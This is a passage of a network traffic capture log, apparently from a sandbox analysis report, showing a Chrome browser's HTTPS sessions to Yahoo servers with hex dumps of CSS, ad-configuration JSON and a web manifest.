2024-04-27 22:41:53 UTC	773	IN	Data Raw: 5c 29 7b 70 61 64 64 69 6e 67 3a 30 7d 23 61 74 6f 6d 69 63 20 2e 50 5c 28 32 30 70 78 5c 29 7b 70 61 64 64 69 6e 67 3a 32 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 50 5c 28 38 70 78 5c 29 7b 70 61 64 64 69 6e 67 3a 38 70 78 7d 23 61 74 6f 6d 69 63 20 2e 50 78 5c 28 30 5c 29 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 23 61 74 6f 6d 69 63 20 2e 50 78 5c 28 30 5c 2e 34 65 6d 5c 29 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 34 65 6d 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 2e 34 65 6d 7d 23 61 74 6f 6d 69 63 20 2e 50 78 5c 28 31 30 70 78 5c 29 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 30 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 50 78 5c 28 32 30 70 Data Ascii: \){padding:0}#atomic .P$20px${padding:20px}#atomic .P$8px${padding:8px}#atomic .Px$0${padding-left:0;padding-right:0}#atomic .Px$0\.4em${padding-left:.4em;padding-right:.4em}#atomic .Px$10px${padding-left:10px;padding-right:10px}#atomic .Px\(20p
2024-04-27 22:41:53 UTC	897	IN	Data Raw: 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 61 74 6f 6d 69 63 20 2e 54 61 5c 28 63 5c 29 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 23 61 74 6f 6d 69 63 20 2e 54 61 5c 28 65 6e 64 5c 29 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 7d 23 61 74 6f 6d 69 63 20 2e 54 64 5c 28 6e 5c 29 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 23 61 74 6f 6d 69 63 20 2e 56 61 5c 28 74 5c 29 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 23 61 74 6f 6d 69 63 20 2e 56 5c 28 68 5c 29 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 2e 77 61 66 65 72 2d 67 65 6f 6c 6f 63 61 74 69 6f 6e 2d 64 65 6e 69 65 64 2b 2e 77 61 66 65 72 2d 67 65 6f 6c 6f 63 61 74 69 6f 6e 2d 64 65 6e 69 65 64 5c 2b 56 5c 28 76 5c 29 7b 76 69 73 69 Data Ascii: on:relative}#atomic .Ta$c${text-align:center}#atomic .Ta$end${text-align:right}#atomic .Td$n${text-decoration:none}#atomic .Va$t${vertical-align:top}#atomic .V$h${visibility:hidden}.wafer-geolocation-denied+.wafer-geolocation-denied\+V$v${visi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49859	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	1169	OUT	POST /fp_ms/_rcv/remote?ctrl=NativeAd&m_id=react-wafer-nativeAd&rid=1sbetl5j2qvpa&m_mode=json&designtype=default HTTP/1.1 Host: www.yahoo.com Connection: keep-alive Content-Length: 662 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" content-type: application/json x-webp: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B
2024-04-27 22:41:53 UTC	662	OUT	Data Raw: 7b 22 62 75 63 6b 65 74 22 3a 22 64 72 6f 70 5f 68 65 69 6d 64 61 6c 6c 5f 68 6f 6d 65 70 61 67 65 5f 63 6f 6e 74 72 6f 6c 5f 62 75 63 6b 65 74 2c 4d 69 6d 69 63 43 6f 6e 74 72 6f 6c 76 32 2d 63 6f 70 79 2c 68 6f 6d 65 70 61 67 65 5f 74 61 62 6f 6f 6c 61 5f 62 65 6e 6a 69 5f 31 5f 63 6f 6e 74 72 6f 6c 2c 73 65 61 6d 6c 65 73 73 22 2c 22 63 74 72 6c 22 3a 22 4e 61 74 69 76 65 41 64 22 2c 22 64 65 76 69 63 65 22 3a 22 64 65 73 6b 74 6f 70 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 6d 5f 69 64 22 3a 22 72 65 61 63 74 2d 77 61 66 65 72 2d 6e 61 74 69 76 65 41 64 22 2c 22 6d 5f 6d 6f 64 65 22 3a 22 6a 73 6f 6e 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 73 69 74 65 22 3a 22 66 70 22 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 69 74 65 6d 73 22 3a 5b Data Ascii: {"bucket":"drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless","ctrl":"NativeAd","device":"desktop","lang":"en-US","m_id":"react-wafer-nativeAd","m_mode":"json","region":"US","site":"fp","config":{"items":[
2024-04-27 22:41:54 UTC	1259	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 content-type: application/json; charset=utf-8 status-code: 200 x-app-version: 1.0.37150 x-applet-version: 1.0.37150 x-applet-id: react-wafer-nativeAd vary: Accept-Encoding date: Sat, 27 Apr 2024 22:41:53 GMT x-envoy-upstream-service-time: 230 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=2bhg1m1j2qvph&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 37 31 33 65 0d 0a 7b 22 61 73 73 65 74 73 22 3a 7b 22 63 73 73 22 3a 5b 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 63 70 72 6f 70 73 2f 63 6f 6c 6f 72 73 5f 31 2e 31 2e 32 37 2e 6d 69 6e 2e 63 73 73 22 2c 22 6e 61 6d 65 22 3a 22 63 75 73 74 6f 6d 2d 70 72 6f 70 65 72 74 69 65 73 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 2e 32 37 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 66 70 2f 63 73 73 2f 72 65 61 63 74 2d 77 61 66 65 72 2d 6e 61 74 69 76 65 41 64 2e 4e 61 74 69 76 65 41 64 2e 61 74 6f 6d 69 63 2e 6c 74 72 2e 37 39 65 33 35 61 62 39 63 63 39 39 34 33 31 35 63 61 65 63 63 36 31 62 31 37 33 37 63 32 33 66 2e 6d 69 6e 2e 63 73 73 22 2c Data Ascii: 713e{"assets":{"css":[{"location":"top","value":"/aaq/cprops/colors_1.1.27.min.css","name":"custom-properties","version":"1.1.27"},{"location":"top","value":"/aaq/fp/css/react-wafer-nativeAd.NativeAd.atomic.ltr.79e35ab9cc994315caecc61b1737c23f.min.css",
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 76 69 64 65 6f 2d 33 2e 31 2e 32 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 22 6e 61 6d 65 22 3a 22 77 61 66 65 72 2d 76 69 64 65 6f 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 33 2e 31 2e 32 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 62 6f 74 74 6f 6d 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 63 61 61 73 2d 31 2e 33 36 2e 32 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 22 6e 61 6d 65 22 3a 22 77 61 66 65 72 2d 63 61 61 73 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 33 36 2e 32 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 62 6f 74 74 6f 6d 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 6e 61 74 69 76 65 2d 64 61 2d 31 2e 30 2e 35 2d 6d 6f 64 65 72 6e 2e 6a 73 Data Ascii: ","value":"/aaq/wf/wf-video-3.1.2-modern.js","name":"wafer-video","version":"3.1.2"},{"location":"bottom","value":"/aaq/wf/wf-caas-1.36.2-modern.js","name":"wafer-caas","version":"1.36.2"},{"location":"bottom","value":"/aaq/wf/wf-native-da-1.0.5-modern.js
2024-04-27 22:41:54 UTC	812	IN	Data Raw: 6f 34 30 34 78 71 43 2d 62 65 6f 32 36 76 6a 33 78 48 41 31 6f 33 38 63 62 76 48 5a 4b 49 78 46 4c 46 77 76 50 4e 38 36 36 4c 35 4f 6c 46 50 2d 6d 6b 74 55 78 74 42 37 66 48 5a 69 50 51 37 66 6b 52 33 6d 34 62 73 2d 4c 33 65 63 73 36 42 70 37 47 6c 37 54 61 46 32 41 6b 53 79 55 41 68 74 38 32 43 58 63 6d 61 49 39 45 49 6d 56 76 62 6f 37 42 69 5f 34 75 78 30 4c 30 4f 59 66 75 4b 4d 38 48 6e 74 44 59 79 4e 67 4e 53 6f 57 31 6d 34 55 38 6f 46 46 4b 4b 59 5f 73 75 4d 55 4c 4e 38 6c 5a 30 4f 46 68 64 76 64 6c 62 64 50 4e 4c 67 38 78 79 46 68 41 67 4d 56 6d 43 47 74 31 30 6c 32 2d 5f 71 62 7a 77 79 6c 72 68 79 78 4b 6b 65 32 69 55 4b 5a 4a 35 4e 58 68 41 41 4a 50 7a 47 44 4e 77 4b 4e 70 6f 79 55 58 45 4e 4f 68 64 43 59 45 4e 4e 6f 5a 74 49 73 4d 38 46 58 62 4b Data Ascii: o404xqC-beo26vj3xHA1o38cbvHZKIxFLFwvPN866L5OlFP-mktUxtB7fHZiPQ7fkR3m4bs-L3ecs6Bp7Gl7TaF2AkSyUAht82CXcmaI9EImVvbo7Bi_4ux0L0OYfuKM8HntDYyNgNSoW1m4U8oFFKKY_suMULN8lZ0OFhdvdlbdPNLg8xyFhAgMVmCGt10l2-_qbzwylrhyxKke2iUKZJ5NXhAAJPzGDNwKNpoyUXENOhdCYENNoZtIsM8FXbK
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 4e 62 48 34 5f 66 4a 47 76 44 53 75 34 4b 7a 46 2d 59 59 79 31 38 59 62 5a 57 65 6c 31 6f 39 4b 6b 30 5a 42 52 62 43 6d 56 49 2d 45 44 53 4c 61 65 4d 69 47 46 33 72 70 50 62 4b 5a 4e 75 4c 71 79 31 43 56 35 4f 42 2d 62 71 57 61 62 4c 4a 75 62 49 6f 50 65 53 4f 62 66 59 38 4f 56 57 41 50 51 45 5f 34 53 62 79 56 5a 70 78 6b 54 62 34 77 52 7a 46 39 69 4e 68 4b 2d 31 34 69 30 4f 42 37 36 31 30 30 64 2d 76 78 6e 71 70 67 47 54 37 69 49 4e 73 57 38 6a 43 68 6c 34 42 33 6d 6a 61 31 7a 4f 42 69 54 32 48 47 51 55 6c 36 75 47 39 65 37 34 46 64 50 68 6c 65 65 70 34 41 59 4f 73 38 44 69 53 74 4c 47 7a 6b 54 4e 5f 76 5f 53 62 41 70 39 33 74 41 4e 44 43 52 42 67 48 4c 61 76 69 72 50 45 32 6f 35 66 71 42 79 79 4c 31 41 6a 52 71 32 42 62 66 67 51 34 72 34 6b 6c 54 71 76 Data Ascii: NbH4_fJGvDSu4KzF-YYy18YbZWel1o9Kk0ZBRbCmVI-EDSLaeMiGF3rpPbKZNuLqy1CV5OB-bqWabLJubIoPeSObfY8OVWAPQE_4SbyVZpxkTb4wRzF9iNhK-14i0OB76100d-vxnqpgGT7iINsW8jChl4B3mja1zOBiT2HGQUl6uG9e74FdPhleep4AYOs8DiStLGzkTN_v_SbAp93tANDCRBgHLavirPE2o5fqByyL1AjRq2BbfgQ4r4klTqv
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 7a 47 49 54 30 69 58 74 2d 6a 54 6b 37 58 53 61 6b 38 56 5f 6e 4f 76 70 4d 73 39 6f 77 39 76 63 6a 6b 7a 6b 73 6b 37 74 76 57 53 4d 79 79 48 65 4e 47 64 6b 59 4b 69 57 53 55 79 6a 4c 39 68 78 76 5a 73 38 7a 53 72 4a 68 64 6c 4f 70 4d 70 42 49 6d 63 72 72 4c 48 4b 71 41 76 71 59 59 41 47 62 77 38 4f 4b 33 47 32 44 67 4c 72 4e 77 62 48 42 77 6f 56 77 4d 43 54 50 50 4a 59 50 62 56 50 79 79 46 66 49 32 5f 30 78 6d 46 4f 68 51 4f 46 33 4e 57 63 48 4f 4d 41 54 78 36 6e 39 56 6f 38 49 77 43 66 57 49 52 54 63 42 53 41 68 46 61 77 47 5a 58 32 5f 6b 36 42 74 6a 72 47 55 45 49 74 6e 75 61 57 47 61 66 45 75 38 57 2d 6f 2d 70 53 75 35 54 55 50 42 65 37 4c 42 54 62 77 5f 5a 74 46 69 56 46 7a 50 33 43 7a 6a 5f 79 4b 55 63 69 36 6c 58 4c 36 53 55 41 44 57 5f 76 4a 65 56 Data Ascii: zGIT0iXt-jTk7XSak8V_nOvpMs9ow9vcjkzksk7tvWSMyyHeNGdkYKiWSUyjL9hxvZs8zSrJhdlOpMpBImcrrLHKqAvqYYAGbw8OK3G2DgLrNwbHBwoVwMCTPPJYPbVPyyFfI2_0xmFOhQOF3NWcHOMATx6n9Vo8IwCfWIRTcBSAhFawGZX2_k6BtjrGUEItnuaWGafEu8W-o-pSu5TUPBe7LBTbw_ZtFiVFzP3Czj_yKUci6lXL6SUADW_vJeV
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 70 65 73 67 64 48 4f 59 42 43 6d 59 75 65 4e 59 43 31 4a 74 61 56 34 70 48 76 36 47 32 4b 6d 50 4b 39 4f 4f 6e 64 4a 74 6e 65 41 46 41 41 73 4b 43 38 36 4a 57 42 44 53 7a 6c 30 38 64 4d 6f 42 4c 43 37 70 75 34 4b 58 77 31 33 5a 7a 65 34 7a 33 65 36 78 44 59 6d 5a 42 36 79 36 49 57 76 78 64 72 71 49 53 50 6b 74 35 6b 79 72 5f 62 33 74 30 43 33 71 7a 57 4c 78 4e 65 31 4c 59 51 4b 6c 36 59 56 64 51 6c 35 4d 70 41 4f 46 6a 34 62 55 59 48 4e 4c 68 42 73 5f 2d 47 76 71 66 4c 5a 55 69 5a 48 67 49 42 59 4a 7a 47 59 57 69 30 4e 75 78 35 70 76 4e 76 6b 6a 4d 58 4f 68 61 38 65 43 56 52 45 58 62 47 66 47 63 4c 4a 73 55 43 30 71 4e 63 56 51 39 2d 48 4b 75 6d 2d 4e 4c 78 66 67 64 70 4d 49 4a 76 57 67 51 71 74 5f 58 68 69 56 33 31 73 44 6b 41 39 46 76 4d 6c 50 64 4f 4b Data Ascii: pesgdHOYBCmYueNYC1JtaV4pHv6G2KmPK9OOndJtneAFAAsKC86JWBDSzl08dMoBLC7pu4KXw13Zze4z3e6xDYmZB6y6IWvxdrqISPkt5kyr_b3t0C3qzWLxNe1LYQKl6YVdQl5MpAOFj4bUYHNLhBs_-GvqfLZUiZHgIBYJzGYWi0Nux5pvNvkjMXOha8eCVREXbGfGcLJsUC0qNcVQ9-HKum-NLxfgdpMIJvWgQqt_XhiV31sDkA9FvMlPdOK
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 69 56 58 31 33 38 76 55 48 70 67 46 4e 4a 68 6e 72 63 6b 75 54 38 6d 76 34 6a 48 38 41 4f 51 69 7a 32 64 78 63 4e 68 5f 36 7a 76 51 4c 6c 4b 47 4b 77 39 45 74 38 47 58 49 4f 6e 5a 72 70 46 73 53 45 52 76 4e 68 4e 48 70 70 55 5a 57 68 5f 4f 4c 57 72 2d 36 73 4f 6c 6f 54 57 6e 61 36 33 4e 35 36 4b 32 49 6e 64 35 59 39 58 63 72 71 52 66 31 37 6f 7a 66 74 4b 69 73 36 38 30 46 38 58 37 59 31 48 44 6e 59 73 55 43 37 39 54 35 57 4c 36 72 64 75 76 7a 50 73 78 6f 6b 6a 4d 67 72 76 70 64 30 47 70 7a 5a 4a 4b 34 39 56 77 4f 72 61 4f 64 65 4b 4f 6b 4b 37 32 56 6e 74 4e 54 33 66 78 63 67 5f 47 2d 4f 35 46 54 71 53 75 5a 4f 52 36 4a 6e 72 2d 68 61 72 39 46 56 57 79 47 57 2d 64 36 57 58 4b 62 74 54 6d 68 4e 47 7a 68 4d 61 46 52 70 50 67 6f 55 57 54 55 55 61 30 68 4e 59 Data Ascii: iVX138vUHpgFNJhnrckuT8mv4jH8AOQiz2dxcNh_6zvQLlKGKw9Et8GXIOnZrpFsSERvNhNHppUZWh_OLWr-6sOloTWna63N56K2Ind5Y9XcrqRf17ozftKis680F8X7Y1HDnYsUC79T5WL6rduvzPsxokjMgrvpd0GpzZJK49VwOraOdeKOkK72VntNT3fxcg_G-O5FTqSuZOR6Jnr-har9FVWyGW-d6WXKbtTmhNGzhMaFRpPgoUWTUUa0hNY
2024-04-27 22:41:54 UTC	697	IN	Data Raw: 68 43 6a 69 76 71 74 6c 56 59 50 69 41 32 58 69 58 33 6a 79 32 44 48 67 58 4b 51 6b 56 55 73 70 6c 36 75 76 4c 49 6d 4e 4b 67 30 38 4a 75 77 4e 50 77 49 79 7a 65 5a 69 4e 49 50 54 62 73 79 69 54 68 34 50 4f 37 5f 62 6d 43 65 44 37 58 57 4e 35 4d 72 34 36 4b 72 4e 41 34 6d 30 6a 42 59 38 49 35 59 2d 34 52 55 43 41 56 45 71 36 68 36 77 37 79 31 36 4c 70 55 2d 6d 76 41 31 31 4f 69 4a 72 45 66 7a 6c 79 58 51 32 6f 6c 76 64 79 73 43 76 51 57 33 4a 2d 57 69 54 45 4b 71 51 5a 52 4b 53 5a 55 38 43 76 58 47 49 55 72 42 72 4a 69 44 5a 39 49 6e 4d 33 76 68 79 32 34 5f 5a 2d 39 6d 38 54 69 79 66 6a 5a 42 79 79 43 50 54 49 79 4f 4f 47 6b 56 6e 36 62 73 74 30 6d 68 48 63 79 6f 73 37 30 36 5f 68 62 36 4a 63 7a 6c 35 30 4b 47 4e 31 47 7a 61 78 64 6d 4f 6d 6a 72 46 73 4c Data Ascii: hCjivqtlVYPiA2XiX3jy2DHgXKQkVUspl6uvLImNKg08JuwNPwIyzeZiNIPTbsyiTh4PO7_bmCeD7XWN5Mr46KrNA4m0jBY8I5Y-4RUCAVEq6h6w7y16LpU-mvA11OiJrEfzlyXQ2olvdysCvQW3J-WiTEKqQZRKSZU8CvXGIUrBrJiDZ9InM3vhy24_Z-9m8TiyfjZByyCPTIyOOGkVn6bst0mhHcyos706_hb6Jczl50KGN1GzaxdmOmjrFsL
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 5f 54 79 69 44 47 59 6a 4f 50 70 4f 42 52 61 38 41 6a 71 58 6e 70 64 59 68 51 37 71 46 44 6c 4d 57 69 4f 4c 72 2d 69 66 49 37 34 78 4f 45 6e 78 36 31 76 2d 36 2d 78 31 64 76 37 50 45 39 50 77 51 57 2d 63 4b 67 66 52 69 38 4a 4c 6b 54 57 56 4c 4c 48 59 43 30 55 6b 55 62 4c 37 45 31 7a 33 42 77 72 56 6f 46 56 49 77 47 4e 62 44 75 4a 68 55 51 74 70 4c 4a 4b 6d 50 6c 57 57 70 52 64 31 6f 6b 4e 55 72 6b 45 31 35 57 35 70 6c 44 62 42 79 7a 41 54 31 77 64 77 43 6d 30 37 6d 79 33 77 73 64 46 47 35 70 66 45 56 55 6b 41 41 6d 76 70 51 55 31 41 4a 37 48 43 6a 42 4f 33 59 46 56 59 51 6a 53 38 66 7a 67 4d 6b 30 56 50 61 67 33 2d 72 43 37 30 57 32 65 32 62 2d 5f 52 48 67 79 4f 4a 4b 6f 4e 54 36 53 52 47 48 79 36 4d 74 4b 64 57 39 6a 33 46 70 61 68 74 32 55 4a 71 6a 50 Data Ascii: _TyiDGYjOPpOBRa8AjqXnpdYhQ7qFDlMWiOLr-ifI74xOEnx61v-6-x1dv7PE9PwQW-cKgfRi8JLkTWVLLHYC0UkUbL7E1z3BwrVoFVIwGNbDuJhUQtpLJKmPlWWpRd1okNUrkE15W5plDbByzAT1wdwCm07my3wsdFG5pfEVUkAAmvpQU1AJ7HCjBO3YFVYQjS8fzgMk0VPag3-rC70W2e2b-_RHgyOJKoNT6SRGHy6MtKdW9j3Fpaht2UJqjP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49860	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	534	OUT	GET /manifest_desktop_us.json HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: manifest Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:53 UTC	669	IN	HTTP/1.1 200 OK x-amz-id-2: iHr3QNl4wfVMAPrAbA4KHS4FjuKE+7sZ2e8LMKe2DVYlaiia6Hv5MJxU7SKJFwrU+YrVHr8LlkpOB4XnliBVPWTzbcFiuqlh x-amz-request-id: HSH18TZAWSPFT7JA Date: Thu, 25 Apr 2024 16:30:41 GMT Last-Modified: Wed, 13 Mar 2024 21:58:53 GMT ETag: "9faf9f0af03805fd10e24fd7a54ca611" x-amz-server-side-encryption: AES256 Cache-Control: max-age=259200, public x-amz-version-id: vZgLPvPnQHjEbm5tJ6GJuyZeuumwfYYB Accept-Ranges: bytes Content-Type: application/json Server: ATS Content-Length: 2146 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 195073 ATS-Carp-Promotion: 1 Strict-Transport-Security: max-age=31536000 ATS-Carp-Promotion: 1
2024-04-27 22:41:53 UTC	991	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 62 75 69 6c 74 62 79 67 69 72 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 72 69 76 61 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 65 6e 67 61 64 67 65 74 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 69 6e 74 68 65 6b 6e 6f 77 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 75 74 6f 62 6c 6f 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 74 65 63 68 63 72 75 6e 63 68 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 6f 6c 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 68 75 66 66 69 6e 67 74 6f 6e 70 6f 73 74 2e 63 Data Ascii: Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://*.huffingtonpost.c
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 7b 0a 20 20 20 20 22 62 61 63 6b 67 72 6f 75 6e 64 5f 63 6f 6c 6f 72 22 3a 20 22 23 66 66 66 66 66 66 22 2c 0a 20 20 20 20 22 64 69 73 70 6c 61 79 22 3a 20 22 73 74 61 6e 64 61 6c 6f 6e 65 22 2c 0a 20 20 20 20 22 67 63 6d 5f 75 73 65 72 5f 76 69 73 69 62 6c 65 5f 6f 6e 6c 79 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 22 69 63 6f 6e 73 22 3a 20 5b 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 73 69 7a 65 73 22 3a 20 22 34 38 78 34 38 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 73 72 63 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 30 39 30 36 32 30 31 38 2f 6d 61 6e 69 66 65 73 74 2f 79 61 68 6f 6f 5f 69 6e 73 74 61 6c 6c 5f 34 38 2e 70 6e 67 22 2c 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "background_color": "#ffffff", "display": "standalone", "gcm_user_visible_only": true, "icons": [ { "sizes": "48x48", "src": "https://s.yimg.com/cv/apiv2/09062018/manifest/yahoo_install_48.png",
2024-04-27 22:41:53 UTC	846	IN	Data Raw: 20 22 74 79 70 65 22 3a 20 22 69 6d 61 67 65 2f 70 6e 67 22 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 73 69 7a 65 73 22 3a 20 22 33 38 34 78 33 38 34 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 73 72 63 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 30 39 30 36 32 30 31 38 2f 6d 61 6e 69 66 65 73 74 2f 79 61 68 6f 6f 5f 69 6e 73 74 61 6c 6c 5f 33 38 34 2e 70 6e 67 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 74 79 70 65 22 3a 20 22 69 6d 61 67 65 2f 70 6e 67 22 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 73 69 7a 65 73 22 3a 20 22 35 31 32 78 35 31 32 22 2c 0a 20 20 20 20 20 20 Data Ascii: "type": "image/png" }, { "sizes": "384x384", "src": "https://s.yimg.com/cv/apiv2/09062018/manifest/yahoo_install_384.png", "type": "image/png" }, { "sizes": "512x512",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49861	3.162.125.2	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	489	OUT	GET /.well-known/interest-group/permissions/?origin=https%3A%2F%2Fwest-bid-gps.ybp.yahoo.com HTTP/1.1 Host: pa.ybp.yahoo.com Connection: keep-alive Accept: application/json Origin: https://west-bid-gps.ybp.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
